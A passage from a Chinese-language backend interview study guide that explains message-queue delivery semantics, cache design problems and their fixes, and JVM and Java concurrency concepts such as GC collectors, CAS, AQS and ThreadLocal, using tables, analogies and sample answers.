没有任何主流 MQ 能单独做到 Exactly Once。 所谓“Exactly Once”= MQ 的 At Least Once(至少一次,不丢) + 消费端幂等(重复也无害)。 最终效果等价于“恰好一次”,但幂等必须由业务代码自己实现。
面试官追问:“那 Kafka 官网不是说支持 Exactly Once 吗?”
答:Kafka 的 Exactly Once 指的是Kafka 内部的“读-处理-写”原子性(用事务保证), 即“从 A Topic 读 → 处理 → 写 B Topic”这个过程是原子的。 但如果你处理时调用了外部系统(写数据库、调接口),Kafka 管不着——那部分还得靠幂等。
消息堆积 —— 以及为什么“加消费者”不一定管用
一句话:生产速度 > 消费速度,消息在队列里越堆越多。
怎么发现:
监控指标:消息堆积量 = 最新 offset - 消费者 offset
告警阈值:> 1 万条 或 堆积时长 > 5 分钟
为什么会堆积:
- 消费端变慢:业务逻辑里有慢 SQL、调外部接口超时
- 消费端挂了:全部下线,没人消费
- 流量突增:大促、秒杀
- 反复 Rebalance:消费组一直在重分配,实际没在消费
怎么处理(按优先级):
| 手段 | 怎么做 | 什么时候用 |
|---|---|---|
| ① 先查是不是消费端挂了 | 看消费者数量、日志 | 第一步(最常见) |
| ② 加消费者实例 | 水平扩容 | 只对“消费者不足”有效 |
| ③ 增加队列/分区数 | 提高并行上限 | ⚠️ 见下方警告 |
| ④ 优化消费逻辑 | 批量处理、去掉慢 SQL、异步化 | 治本 |
| ⑤ 紧急降级 | 临时丢弃非核心消息 | 快撑不住时 |
⚠️ 面试陷阱:“堆积了,加消费者就能解决吗?”
不一定。 这是最经典的追问,要点是: 一个队列(分区)同一时刻只能被一个消费者消费。 如果你的 Topic 只有 4 个分区,那你加到 5 个、10 个消费者—— 多出来的消费者是闲着的,完全没用!
所以正确顺序是:先扩分区,再扩消费者。 而且 Kafka 扩分区后无法保证全局顺序了(RocketMQ 可以)。
生活类比: 收银台排队。开 4 个收银台(4 个分区),4 个收银员(消费者)。 你再招 10 个收银员站在旁边也没用——没收银台给他们用。 得先开收银台(扩分区),再招人(扩消费者)。
顺序消息 vs 重试 —— 一个天生的矛盾
一句话:要保证顺序,失败时就不能跳过;不跳过,就会一直卡住。这是个两难。
矛盾在哪:
场景:同一个订单的三条消息,必须按顺序处理
① 创建订单 → ② 支付订单 → ③ 发货订单
如果 ② 处理失败:
├─ 要保证顺序 → ③ 必须等 ② 成功 → 但 ② 一直失败 → 【整个队列卡死】
└─ 要继续消费 → ③ 先处理了 → 【顺序乱了:还没支付就发货】
工业界的解法:
| 方案 | 怎么做 |
|---|---|
| 失败不重试,直接进死信 | 保住可用性,牺牲这条消息 → 靠对账补 |
| 设置最大重试次数 | 重试 N 次后进死信,不再阻塞 |
| 把失败消息“挂起” | 单独存起来等人工处理,主流程继续(RocketMQ 的 SUSPEND 策略) |
关键认知:
全局顺序和吞吐量是矛盾的。 全局严格顺序 = 单线程串行 = 吞吐极低。 所以实践中都做局部顺序:只保证“同一个业务 ID(如订单号)“的消息有序, 按
orderId % 队列数路由到同一队列即可,不同订单之间仍可并行。
2.3 第二章小结
【MQ 核心概念关系图】
生产者 ──发──▶ Topic(主题)
│
├─ Queue-0 ──▶ 消费者 A ─┐
├─ Queue-1 ──▶ 消费者 B ─┼── 同属一个 Consumer Group
└─ Queue-2 ──▶ 消费者 C ─┘ (组内分摊,组间广播)
│
每个消费者维护自己的 offset(读到哪了)
│
消费成功 → ACK → offset 前进
消费失败 → 进重试队列 → 重试 N 次 → 仍失败 → 死信队列
│
成员变化 → Rebalance(暂停消费,重新分配)
面试最常问的三个问题:
- 怎么保证消息不丢? → 生产者确认 + MQ 持久化 + 消费端手动 ACK
- 怎么保证不重复消费? → 消费端幂等(唯一键 / Redis SETNX / 状态机)
- 消息堆积了怎么办? → 先看消费者是不是挂了,再扩分区再扩消费者
深入阅读:04 号文档(中间件)、10 号文档第三章(消息不一致与解决方案)
第三章:缓存
这一章对应 03 号文档(《数据库与缓存》)和 10 号文档第四章。 TTL、LRU、LFU、W-TinyLFU、缓存穿透/击穿/雪崩 这几个是必考,且光看名字完全不懂。
3.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| TTL | Time To Live | 数据的“保质期”,到期自动删除 | 02/03/04/06/08/09/10 |
| LRU | Least Recently Used | 淘汰最久没被用过的数据 | 02/03/09/10 |
| LFU | Least Frequently Used | 淘汰用得次数最少的数据 | 03/10 |
| FIFO | First In First Out | 先进先出,淘汰最早进来的 | 03 |
| W-TinyLFU | Window Tiny Least Frequently Used | Caffeine 用的算法,LRU 和 LFU 的混合增强版 | 03/10 |
| Cache Aside | Cache Aside Pattern | 旁路缓存:读时先查缓存,写时先更库再删缓存 | 03/10 |
| Write Through | Write Through | 写数据时同时写缓存和库,都成功才返回 | 03/10 |
| Write Back | Write Back | 只写缓存就返回,缓存异步刷到库(快但可能丢) | 03/10 |
| Cache Hit | 缓存命中 | 要的数据缓存里有,直接返回 | 03/10 |
| Cache Miss | 缓存未命中 | 缓存里没有,得去查数据库 | 03/10 |
| 缓存穿透 | Cache Penetration | 查一个根本不存在的数据,缓存永远不命中,请求全打到库 | 03/10 |
| 缓存击穿 | Cache Breakdown | 一个热点 key 恰好过期,瞬间大量请求打到库 | 03/10 |
| 缓存雪崩 | Cache Avalanche | 大批 key 同时过期,或缓存集群整个挂了 | 03/10 |
| 延迟双删 | Delayed Double Delete | 更新时删两次缓存,中间隔一小段时间 | 03/10 |
| 缓存预热 | Cache Warm-up | 系统启动时主动把热点数据加载到缓存 | 03/10 |
| 缓存降级 | Cache Degradation | 缓存挂了,临时返回一个默认值,保护数据库 | 03/10 |
| 布隆过滤器 | Bloom Filter | 用极小的空间判断“某个 key 一定不存在/可能存在” | 03/10 |
| 热点 key | Hot Key | 被超高频率访问的同一个 key(如爆款商品) | 03/05/10 |
| 大 key | Big Key | 单个 key 的 value 特别大(如几 MB 的列表) | 03/10 |
| 多级缓存 | Multi-Level Cache | 本地缓存(Caffeine)+ 分布式缓存(Redis)两层 | 03/10 |
| Caffeine | Caffeine | Java 里性能最好的本地缓存库(Spring 默认用它) | 03/10 |
| Canal | Canal | 阿里开源工具,伪装成 MySQL 从库,订阅 binlog 感知数据变更 | 04/10 |
| binlog | Binary Log | MySQL 的二进制日志,记录所有数据变更 | 02/03/10 |
3.2 核心概念详解
TTL(Time To Live,存活时间)—— 数据的保质期
Time To Live 字面意思就是“还能活多久”。 一句话:给缓存数据设一个过期时间,到点自动删除。
为什么必须设(面试常问):
- 内存有限:不设 TTL,缓存只增不减,迟早撑爆内存
- 数据会变:数据库改了,缓存不设过期就永远是旧值
- 兜底一致性:即使删缓存失败了,TTL 到期也能自愈
设置 TTL 的讲究:
固定 TTL: SET key value EX 300 ← 所有 key 都 5 分钟
问题: 大批 key 同时创建 → 同时过期 → 【缓存雪崩】
正确做法: 基础 TTL + 随机抖动
EX (300 + random(0, 300)) ← 5~10 分钟随机
让过期时间打散,避免集中失效
TTL 设置多长?权衡:
| TTL 太短 | TTL 太长 |
|---|---|
| 缓存命中率低,数据库压力大 | 数据陈旧,不一致时间长 |
| 频繁回源 | 内存占用高 |
经验值:热点数据 5~30 分钟,配合主动删除(改数据时主动删缓存),TTL 只当兜底。
生活类比: 牛奶的保质期。到期就扔(自动删除)。 如果所有牛奶都是同一天生产、同一天过期(固定 TTL),那天超市就会断货(雪崩)。 所以生产日期要打散(随机抖动)。
LRU / LFU / FIFO —— 三种缓存淘汰策略
缓存满了,新数据要进来,得先淘汰一个旧的。淘汰谁就是策略问题。
| 策略 | 全称 | 淘汰谁 | 优点 | 缺点 |
|---|---|---|---|---|
| FIFO | First In First Out | 最早进来的 | 实现最简单 | 可能淘汰掉还在频繁用的数据 |
| LRU | Least Recently Used | 最久没被访问的 | 符合“刚用过的还会再用” | 一次全表扫描会把热点全挤掉 |
| LFU | Least Frequently Used | 访问次数最少的 | 能保护长期热点 | 老数据累积了高频次,新数据进不来 |
LRU 的致命缺陷(面试加分):
场景:热点数据 A 被访问了 1 万次,已在缓存里
突然来了一次"全表扫描"查询,把 B、C、D... 几十万条数据读了一遍
↓
LRU 认为 B/C/D 是"最近使用",把真正的热点 A 挤了出去
↓
扫描结束,缓存里全是只用一次的垃圾数据 → 【缓存污染】
LFU 的致命缺陷:
场景:新闻热点 A 火了三天,访问了 100 万次
第四天过气了,但因为历史频次高,一直赖在缓存里
新热点 B 才访问 100 次,反而进不来
↓
【历史包袱问题】
所以有了 W-TinyLFU(Caffeine 用的,见下节)。
生活类比:
- FIFO:书架满了,扔掉最早买的书(不管你看不看)
- LRU:扔掉最久没翻过的书(合理,但被“大扫除时翻了一遍的旧书”骗了)
- LFU:扔掉翻的次数最少的书(合理,但小时候翻烂的课本一直占地方)
W-TinyLFU —— Caffeine 为什么比 Guava Cache 快
一句话:LRU 和 LFU 的“取长补短”版本,用一个极小的空间记录访问频率。
名字拆解:
- W(Window):一个小的 LRU 窗口区,接纳新数据
- Tiny:用极小的内存记录频率(Count-Min Sketch 算法,4 位计数)
- LFU:按频率决定去留
它怎么工作(简化版):
缓存分成两块:
┌─────────────────┬──────────────────────────┐
│ Window (1%) │ Main (99%) │
│ LRU 小窗口 │ 按频率排序的主区 │
└─────────────────┴──────────────────────────┘
▲ ▲
│ │
新数据先进这里 待晋升区 + 受保护区
(给它机会证明自己) (频率高的留下)
淘汰时:Window 区的候选者 vs Main 区的受害者
→ 比较两者的【访问频率】
→ 【频率高的留下,低的被淘汰】
为什么它厉害:
- 解决 LRU 的缓存污染:一次性的批量扫描数据,频率低,进不了 Main 区
- 解决 LFU 的历史包袱:频率计数有衰减机制(Periodic Reset),老数据的高频会慢慢降
- 内存开销极小:用 Count-Min Sketch,每个 key 只占 4 bit(传统 LFU 要存完整计数)
面试怎么说(这是区分度很高的加分题):
“Caffeine 用 W-TinyLFU 算法。它维护一个 1% 的 LRU 窗口区接纳新数据, 主区用 Count-Min Sketch 以极低成本(每个 key 4 bit)统计访问频率。 淘汰时比较窗口区候选者和主区受害者的频率,高的留下。 这样既能抵抗 LRU 的’一次性扫描污染’,又能通过频率衰减避免 LFU 的历史包袱。 实测命中率比 Guava Cache 的 LRU 高出不少,所以 Spring Boot 2.x 之后默认换成了 Caffeine。”
缓存穿透 / 击穿 / 雪崩 —— 三个“缓存失效”的经典问题
这三个词特别容易记混,用一句话区分:
| 问题 | 一句话 | 关键点 |
|---|---|---|
| 穿透 | 查不存在的数据 | 数据库里也没有 → 缓存永远存不住 → 每次都打库 |
| 击穿 | 单个热点 key 过期 | 一号商品,几万人同时查,key 刚好失效 |
| 雪崩 | 大批 key 同时过期 | 成千上万个 key 一起失效,或 Redis 集群挂了 |
记忆口诀:
穿透 = 查无此物(数据根本不存在)
击穿 = 一点破防(单个热点,被"击"穿一个洞)
雪崩 = 大面积崩塌(成片失效)
缓存穿透 —— 解决方案
问题:有人恶意用 id = -1、id = 99999999 疯狂请求
缓存查不到 → 查数据库也查不到 → 缓存存不住 → 每次都打数据库
数据库被拖垮
解法①:缓存空值
查不到也写入缓存,value = null,TTL 设短一点(如 60 秒)
✅ 简单有效
⚠️ 恶意换不同 id 攻击时,会缓存大量空值 → 占内存
解法②:布隆过滤器(Bloom Filter)★ 推荐
把所有合法的 id 放进布隆过滤器
请求来了先过过滤器:
├─ 过滤器说"不存在" → 一定是非法的,直接返回
└─ 过滤器说"可能存在" → 才去查缓存/数据库
✅ 内存占用极小(1 亿数据约 100MB)
⚠️ 有误判率(说"存在"的不一定真存在,但说"不存在"一定不存在)
⚠️ 删除困难(需要计数布隆过滤器)
解法③:接口层校验
id <= 0 直接拒绝,参数合法性校验
布隆过滤器为什么这么省内存:
传统方式:存 1 亿个 id(每个 8 字节)→ 800 MB
布隆过滤器:1 亿个 id → 约 100 MB,且查询 O(1)
原理:一个很长的 bit 数组(初始全 0)
插入 id → 用 3 个不同的 hash 函数算出 3 个位置 → 都置为 1
查询 id → 算 3 个位置,只要有一个是 0 → 【一定不存在】
全是 1 → 【可能存在】(有误判)
缓存击穿 —— 解决方案
问题:爆款商品 A 的缓存过期了
同一瞬间 1 万个请求发现缓存没了 → 全部去查数据库
数据库瞬间被打爆
解法①:互斥锁(分布式锁)★ 最常用
只有拿到锁的线程去查数据库 + 重建缓存
其他线程等待 / 返回旧值 / 自旋重试
✅ 保证只有一个请求打到数据库
⚠️ 有死锁风险和性能损耗
解法②:逻辑过期(永不过期)★ 推荐
缓存里不设 TTL,但在 value 里存一个"逻辑过期时间"
读到时发现逻辑过期 → 拿锁去异步刷新,当前请求先返回旧值
✅ 无等待,高可用
⚠️ 会短暂返回旧数据(业务能接受即可)
解法③:热点 key 永不过期 + 主动更新
数据变更时主动更新缓存,不依赖 TTL 过期
缓存雪崩 —— 解决方案
问题:双十一零点,系统预热了 10 万个 key,都设了 1 小时 TTL
1 小时后,10 万个 key 同时失效 → 全部请求打到数据库 → 数据库挂
解法①:TTL 加随机值 ★ 最简单有效
原来:EX 3600
改成:EX (3600 + random(0, 600))
把过期时间打散,避免集中失效
解法②:多级缓存
本地缓存(Caffeine)+ 分布式缓存(Redis)
Redis 挂了,本地缓存还能扛一阵
解法③:缓存集群高可用
Redis 哨兵 / 集群,避免整个缓存层挂掉
解法④:熔断降级 + 限流
缓存挂了,对数据库加限流,只允许部分请求通过
其他请求返回默认值(如"稍后再试")→ 保住数据库不崩
Cache Aside(旁路缓存)—— 最常用的缓存读写模式
一句话:读的时候先查缓存,没有就查库再写回缓存;写的时候先更数据库,再删缓存。
为什么叫“旁路”:
缓存不直接参与写流程,它“待在旁边”,应用层自己决定什么时候读写它。
读流程:
读请求 → 查缓存
├─ 命中 → 直接返回 ✅
└─ 未命中 → 查数据库
├─ 查到 → 写入缓存 → 返回
└─ 没查到 → 返回 null(考虑缓存空值防穿透)
写流程(关键!):
写请求 → 更新数据库
↓
删除缓存 ← 注意:是【删除】,不是【更新】
为什么是“删缓存”而不是“更新缓存”(面试必答):
| 更新缓存 | 删除缓存 | |
|---|---|---|
| 并发安全 | ❌ 两个并发写可能乱序,导致缓存是旧值 | ✅ 删了就没了,下次读自然加载新值 |
| 性能 | ❌ 每次写都要算一遍缓存值,可能白算(写了没人读) | ✅ 懒加载,用到才加载 |
| 复杂度 | ❌ 缓存 value 可能由多张表算出来,更新难维护 | ✅ 无脑删 |
生活类比:
- 更新缓存:你改了文档内容,就要立刻重新生成一份摘要贴墙上(改 10 次要生成 10 次,可能没人看)
- 删除缓存:你把墙上的摘要撕了,谁要看谁自己重新生成(懒加载,永远是对的)
延伸:关于“先删缓存还是先更新数据库”的经典争论, 以及为什么“先更新数据库再删缓存”更优,详见 10 号文档 4.3 节(含概率分析和完整论证)。
延迟双删 —— 以及它为什么“不靠谱”
一句话:删缓存 → 更新数据库 → 睡一小会儿 → 再删一次缓存。
为什么会有这个方案:
"先删缓存再更新数据库"的并发问题:
线程 A:删缓存
线程 B:读请求 → 缓存没有 → 查数据库(读到旧值)→ 写入缓存(旧值!)
线程 A:更新数据库(新值)
结果:缓存里是旧值,数据库是新值 → 不一致!
延迟双删想解决:
A 更新完数据库后,再删一次缓存 → 把 B 写的旧值删掉
它为什么不靠谱(面试加分,很多人答不出来):
- “sleep 多久”根本定不下来
- 睡 500ms?如果 B 的读操作耗时 800ms(慢查询),删完 B 还是把旧值写进去了
- 睡 3 秒?写接口响应时间变成 3 秒,业务受不了
- sleep 会拖慢接口,高并发下线程池被打满
- 第二次删除也可能失败(网络抖动),没有重试就是白搭
更好的方案:
| 方案 | 怎么做 |
|---|---|
| 重试机制 | 删缓存失败 → 进消息队列重试(保障删除成功) |
| MySQL binlog 订阅(Canal) | 数据库改了自动发事件,缓存订阅后删除,彻底解耦 |
| TTL 兜底 | 无论怎样,TTL 到期自动失效,保证最终一致 |
面试怎么说:
“延迟双删是一种’尽力而为’的补偿手段,但它依赖 sleep 时间, 而 sleep 多久取决于’读请求的耗时’,这个值是不确定的,所以并不可靠。 生产上我们用的是:更新数据库 + 删除缓存 + 删除失败进 MQ 重试 + TTL 兜底, 如果要更彻底就上 Canal 订阅 binlog。”
3.3 第三章小结
【缓存问题速查】
读流程: 查缓存 → 命中返回 / 未命中查库并回写
写流程: 更新数据库 → 【删除】缓存(不是更新)
三大问题:
穿透(查不存在的)→ 布隆过滤器 / 缓存空值
击穿(单个热点过期)→ 分布式锁 / 逻辑过期
雪崩(大批同时过期)→ TTL 随机化 / 多级缓存 / 熔断限流
淘汰策略:
FIFO(最早进来的)→ LRU(最久没用的)→ LFU(用得最少的)
→ W-TinyLFU(Caffeine,LRU+LFU 混合 + 频率衰减)★ 最优
一致性:
先更数据库,再删缓存
删除失败要重试(MQ)
TTL 兜底
多级缓存用 Pub/Sub 广播失效(详见 10 号文档 4.6 节)
深入阅读:03 号文档(数据库与缓存)、10 号文档第四章(缓存一致性)
第四章:JVM 与并发
这一章对应 01 号文档(《Java 核心内功》)。 JMM、STW、CAS、AQS、TLAB、逃逸分析 这几个是光看名字完全猜不出意思的典型。
4.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| JVM | Java Virtual Machine | Java 虚拟机,让 Java 代码“一次编译到处运行”的那个东西 | 01/02/03/07/08/10 |
| JMM | Java Memory Model | Java 内存模型,规定多线程下“谁能看到谁改的数据” | 01 |
| JUC | java.util.concurrent | Java 并发工具包(JDK 5 开始),锁、线程池、原子类都在里面 | 01/02/10 |
| GC | Garbage Collection | 垃圾回收,自动回收不用的对象 | 01/02/08/09/10 |
| STW | Stop The World | GC 时暂停所有业务线程(世界停止) | 01/02 |
| CMS | Concurrent Mark Sweep | 老牌低延迟收集器,已废弃 | 01/08 |
| G1 | Garbage First | JDK 9+ 默认收集器,平衡吞吐和延迟 | 01/08 |
| ZGC | Z Garbage Collector | 超低延迟收集器,停顿 < 10ms,支持 TB 级堆 | 01 |
| Serial / Parallel | 串行 / 并行收集器 | 单线程 / 多线程 GC | 01 |
| Minor GC | Minor GC(新生代 GC) | 只回收新生代,频繁但快 | 01/08 |
| Major GC / Full GC | 老年代 GC / 整堆 GC | 回收老年代或整个堆,慢,要避免 | 01/08 |
| JIT | Just In Time | 运行时把热点代码编译成机器码(边跑边编译) | 01 |
| AOT | Ahead Of Time | 运行前就编译成机器码(提前编译),启动快 | 01 |
| OOM | Out Of Memory | 内存溢出,内存不够用了 | 01/02/07/08 |
| CAS | Compare And Swap | 无锁原子操作:“如果是 A,就改成 B” | 01/10 |
| AQS | AbstractQueuedSynchronizer | JUC 锁的底层框架,ReentrantLock、Semaphore 都基于它 | 01 |
| volatile | volatile(易变的) | 保证可见性和禁止指令重排,但不保证原子性 | 01/02/10 |
| synchronized | synchronized(同步的) | Java 内置锁,保证原子性、可见性、有序性 | 01/02/03 |
| ThreadLocal | ThreadLocal(线程本地) | 每个线程一份独立副本,线程间互不影响 | 01/02/08/10 |
| TLAB | Thread Local Allocation Buffer | 每个线程在 Eden 区专属的一小块内存,分配对象无锁竞争 | 01 |
| 逃逸分析 | Escape Analysis | JIT 分析对象会不会“逃出”方法,不会就在栈上分配 | 01 |
| 偏向锁/轻量锁/重量锁 | Biased/Lightweight/Heavyweight Lock | synchronized 的三种锁状态,从轻到重升级 | 01 |
| happens-before | happens-before(先行发生) | JMM 的规则:A happens-before B,则 A 的结果 B 一定看得见 | 01 |
| ABA 问题 | ABA Problem | CAS 的经典坑:值从 A 变 B 又变回 A,CAS 以为没变过 | 01 |
4.2 核心概念详解
JVM(Java Virtual Machine)—— Java 程序跑在上面的“虚拟电脑”
一句话:一个虚拟出来的计算机,Java 代码编译成字节码后跑在它上面,所以能跨平台。
为什么不直接编译成机器码:
传统方式(C/C++):
源码 → 编译成 Windows 机器码 → 只能在 Windows 跑
→ 编译成 Linux 机器码 → 只能在 Linux 跑
Java 方式:
源码 → 编译成【字节码 .class】→ 交给 JVM 执行
JVM 替你屏蔽了操作系统差异 → 【一次编译,到处运行】
JVM 的三个核心区域(面试必画):
┌─────────────────────────────────────────────┐
│ JVM 内存结构 │
├─────────────────────────────────────────────┤
│ 【线程共享】 │
│ ├─ 堆(Heap) ← 对象都在这里,GC 主战场│
│ └─ 方法区/元空间 ← 类信息、常量、静态变量 │
├─────────────────────────────────────────────┤
│ 【线程私有】 │
│ ├─ 虚拟机栈 ← 方法调用的局部变量 │
│ ├─ 本地方法栈 ← native 方法 │
│ └─ 程序计数器 ← 下一条指令的地址 │
└─────────────────────────────────────────────┘
堆的分代(GC 的基础):
堆 Heap
├─ 新生代 Young(1/3)
│ ├─ Eden(8/10) ← 新对象都在这里诞生
│ └─ Survivor ×2(各 1/10)← From / To,存活对象在这里倒腾
└─ 老年代 Old(2/3) ← 熬过多次 GC 还活着的对象
对象的一生:
new 出来 → Eden
→ Eden 满了,Minor GC → 活着的进 Survivor
→ 在 Survivor 里熬过 15 次 GC(默认)→ 晋升老年代
→ 老年代满了 → Full GC
生活类比: JVM 是个“托管公寓”。
- 堆是公寓房间(对象住的地方)
- 新生代是“试用期租客区”,老年代是“长租区”
- GC 是物业,定期清理搬走的租客(没人引用的对象)
JMM(Java Memory Model,Java 内存模型)—— 多线程的“交通规则”
一句话:规定多线程下,一个线程改了数据,另一个线程什么时候能看见。
为什么需要它:
现代 CPU 有多级缓存,线程不是直接读写主内存:
线程 A ──▶ 工作内存 A(CPU 缓存)──┐
├──▶ 主内存(RAM)
线程 B ──▶ 工作内存 B(CPU 缓存)──┘
问题:线程 A 改了变量 x,但只改了自己缓存里的副本
线程 B 读的还是自己缓存里的旧值 → 【数据不一致】
JMM 就是规定:什么时候必须把缓存刷回主内存,什么时候必须从主内存重新读。
JMM 三大特性(面试必答):
| 特性 | 含义 | 怎么保证 |
|---|---|---|
| 原子性 | 一个操作不可分割,要么全做要么不做 | synchronized、锁、AtomicInteger |
| 可见性 | 一个线程改了,其他线程立刻能看见 | volatile、synchronized、final |
| 有序性 | 代码执行顺序符合预期(不被重排序) | volatile、synchronized、happens-before |
volatile 是什么、不是什么(超高频考点):
volatile 保证:
✅ 可见性:改完立刻刷主内存,别人立刻看得见
✅ 有序性:禁止指令重排序
volatile 不保证:
❌ 原子性:i++ 这种"读-改-写"三步操作,volatile 管不住
→ 要用 synchronized 或 AtomicInteger
经典例子:
volatile int count = 0;
count++; // ❌ 线程不安全!虽然有 volatile
// 因为 count++ 是 ①读 ②+1 ③写回,三步
生活类比: JMM 像“公司公告板规则”。
- 没有规则:你在自己工位改了方案(工作内存),同事不知道(不可见)
- 有 volatile:规定“改完必须贴到公告板,且所有人必须看公告板”(可见性)
- 但“两个人同时改公告板”还是会撞车(不保证原子性),得加锁(一次只允许一个人改)
GC(Garbage Collection)与 STW —— 自动打扫卫生,但会暂停营业
GC 是什么:自动找出“没人用的对象”并回收内存,程序员不用手动 free。
怎么判断对象“没用了”:
可达性分析:从 GC Roots(栈里的引用、静态变量等)出发, 能沿着引用链找到的对象就是“活着”的,找不到的就是垃圾。
注意:不是“有没有人引用它”,而是“能不能从 GC Roots 找到它“—— 所以两个互相引用但外部访问不到的对象(循环引用),也会被回收。
STW(Stop The World,世界停止):
GC 的时候,为了让引用关系不再变化,必须暂停所有业务线程。 这段时间用户请求全部卡住 → 表现为“接口突然卡了一下”或“超时”。
为什么 GC 调优的目标是“降低 STW”:
Minor GC:STW 几毫秒 ~ 几十毫秒,用户无感知
Full GC :STW 几百毫秒 ~ 几秒,用户明显卡顿,甚至超时
所以调优的核心就是:【减少 Full GC】
三款主流收集器对比(面试必背)
| CMS | G1 | ZGC | |
|---|---|---|---|
| 目标 | 低延迟 | 吞吐与延迟平衡 | 极致低延迟 |
| 最大停顿 | 几十~几百 ms | 可控(设 MaxGCPauseMillis,如 200ms) | < 10ms(几乎与堆大小无关) |
| 堆大小 | 几 GB ~ 十几 GB | 几 GB ~ 几十 GB | TB 级 |
| 算法 | 并发标记清除 | Region 分区 + 标记整理 | 染色指针 + 读屏障(并发转移) |
| 碎片问题 | ⚠️ 有(标记-清除),最终会 Full GC | 少(整体标记-整理) | 无 |
| JDK 版本 | JDK 9 废弃,JDK 14 移除 | JDK 9+ 默认 | JDK 11 实验,JDK 15 生产可用 |
| 适合 | 已淘汰,仅老系统 | 绝大多数业务 | 超大堆 + 超低延迟要求 |
面试怎么答“你们用什么 GC”:
“JDK 8 的话是 Parallel / CMS,JDK 11 之后默认 G1。 G1 通过
-XX:MaxGCPauseMillis=200设定目标停顿时间,它会只回收’收益最高’的 Region(这就是 Garbage First 名字的由来), 在有限时间内回收最多垃圾。如果堆特别大且要求极低延迟,可以考虑 ZGC。”
G1 为什么叫 “Garbage First”(垃圾优先):
传统收集器:整块新生代 / 整块老年代一起回收 → 停顿时间不可控
G1:把堆分成约 2048 个 Region(每块 1~32MB)
每次 GC 时【优先回收垃圾最多的 Region】
→ 用同样的时间,回收最多的垃圾
→ 停顿时间可控 ✅
CAS(Compare And Swap,比较并交换)—— 无锁编程的基石
一句话:“我认为值应该是 A,如果是,就改成 B;如果不是,说明别人动过了,我重试。”
三个操作数:
CAS(V, A, B)
V = 要更新的变量的内存位置
A = 预期值(我认为它现在应该是什么)
B = 新值(要改成什么)
执行:如果 V 位置的值 == A,就把它改成 B,返回 true
否则什么都不做,返回 false
它是原子的:
这是一条 CPU 指令(x86 的
cmpxchg),硬件保证不可被打断。 所以不需要加锁,性能远高于synchronized。
Java 里的应用:
AtomicInteger.incrementAndGet()
→ 底层就是 CAS 自旋:
do {
int current = get();
int next = current + 1;
} while (!compareAndSet(current, next)); // 失败了就重试
CAS 的三个问题(面试必答):
| 问题 | 说明 | 解法 |
|---|---|---|
| ① ABA 问题 | 值从 A → B → A,CAS 检查时以为“没变过” | 加版本号:AtomicStampedReference |
| ② 自旋开销大 | 竞争激烈的线程一直循环重试,CPU 空转 | 自适应自旋 / 退化为锁 |
| ③ 只能保证一个变量原子 | 多个变量要原子操作就不行了 | 封装成对象,用 AtomicReference |
ABA 问题举例(面试常让举例):
你的账户余额 100 元
线程 A:想取 50,CAS(100, 50)
但在 A 执行前:
线程 B:取了 50 → 余额 50
线程 C:存了 50 → 余额又变回 100
线程 A 执行:发现余额是 100(和预期一致)→ 扣款成功
问题:中间发生过交易,但 A 完全不知道
(对余额来说结果正确,但如果是"链表节点"这类结构,可能出错)
生活类比: 你看桌上有瓶水(A),去上了个厕所回来,桌上还是有瓶水(A)。 你以为没人动过——但其实有人拿走喝了一口又放回去了(A→B→A)。 解决:给瓶子贴个“开封次数”标签(版本号)。
AQS(AbstractQueuedSynchronizer,抽象队列同步器)—— JUC 锁的“发动机”
一句话:一个框架,用一个
int状态变量 + 一个等待队列,实现了各种锁。
它解决什么问题:
写一个锁要考虑:怎么表示“锁被占了”、抢不到锁的线程放哪、怎么唤醒、怎么处理中断…… AQS 把这些通用逻辑都做了,你只需要告诉它“怎么获取锁、怎么释放锁”。
核心结构(面试常让画):
┌──────────────────────────────────────────┐
│ private volatile int state; ← 同步状态 │
│ 0 = 没被占用 │
│ 1 = 被占用 │
│ >1 = 可重入次数 │
├──────────────────────────────────────────┤
│ private transient Node head; ← 等待队列头│
│ private transient Node tail; ← 等待队列尾│
│ │
│ 队列是【双向链表】,存抢不到锁的线程 │
│ 头节点 = 正在持有锁的线程 │
└──────────────────────────────────────────┘
工作方式:
获取锁:
线程尝试用 CAS 把 state 从 0 改成 1
├─ 成功 → 拿到锁,继续执行
└─ 失败 → 把自己包装成 Node 加入队列尾部 → 阻塞(park)
释放锁:
把 state 改回 0 → 唤醒队列里的下一个线程(unpark)
基于 AQS 实现的类(常考):
| 类 | state 的含义 |
|---|---|
ReentrantLock |
0=未锁,>0=重入次数 |
Semaphore |
剩余许可证数量 |
CountDownLatch |
还需要倒数的次数 |
ReentrantReadWriteLock |
高 16 位=读锁数,低 16 位=写锁重入数 |
面试怎么说:
“AQS 是 JUC 锁的底层框架。它维护一个 volatile 的 int 状态和一个 FIFO 双向等待队列。 线程用 CAS 尝试修改 state,成功就获得锁,失败就进队列阻塞。 释放时改回 state 并唤醒后继节点。 ReentrantLock、Semaphore、CountDownLatch 都是基于它实现的,区别只是 state 的含义不同。”
ThreadLocal —— 以及它为什么会内存泄漏
一句话:给每个线程一份独立的变量副本,线程之间互不干扰。
它解决什么问题:
问题:SimpleDateFormat 不是线程安全的,多线程共用会出错
方案①:每次 new 一个 → 浪费
方案②:加锁 → 有性能损耗
方案③:ThreadLocal → 【每个线程一个,互不干扰,无锁】✅
底层原理(面试常问):
不是"ThreadLocal 里存了值",而是【每个 Thread 对象里有一个 ThreadLocalMap】:
ThreadLocal<String> tl = new ThreadLocal<>();
tl.set("hello");
实际存到了:
当前线程 Thread
└─ ThreadLocalMap(类似 HashMap)
└─ Entry: key = tl(弱引用),value = "hello"(强引用)
⚠️ 内存泄漏的原因(超高频考点):
Entry 的 key(ThreadLocal 本身)是【弱引用】
→ GC 时,如果 ThreadLocal 对象没有外部强引用,key 会被回收,变成 null
→ 但 value 还是【强引用】,不会被回收!
→ 这个 Entry 就变成了 key=null 的垃圾,永远访问不到,也释放不掉
如果线程是【线程池里的线程】(长期存活、不销毁)
→ 这些垃圾 value 会一直堆积 → 【内存泄漏】
正确用法(必须记住):
try {
threadLocal.set(value);
// ... 业务逻辑
} finally {
threadLocal.remove(); // ★ 用完必须 remove!
}
为什么 key 要设计成弱引用:
因为如果 key 是强引用,那么即使业务代码里把
tl = null, ThreadLocal 对象还是被 ThreadLocalMap 引用着,永远无法回收,泄漏更严重。 弱引用至少能让 key 被回收(虽然 value 还是会漏,但配合 remove 能解决)。
生活类比: 公司储物柜(ThreadLocalMap),每个员工(线程)有自己的柜子。
- 钥匙(ThreadLocal)丢了(被 GC 回收),但柜子里的东西(value)还在
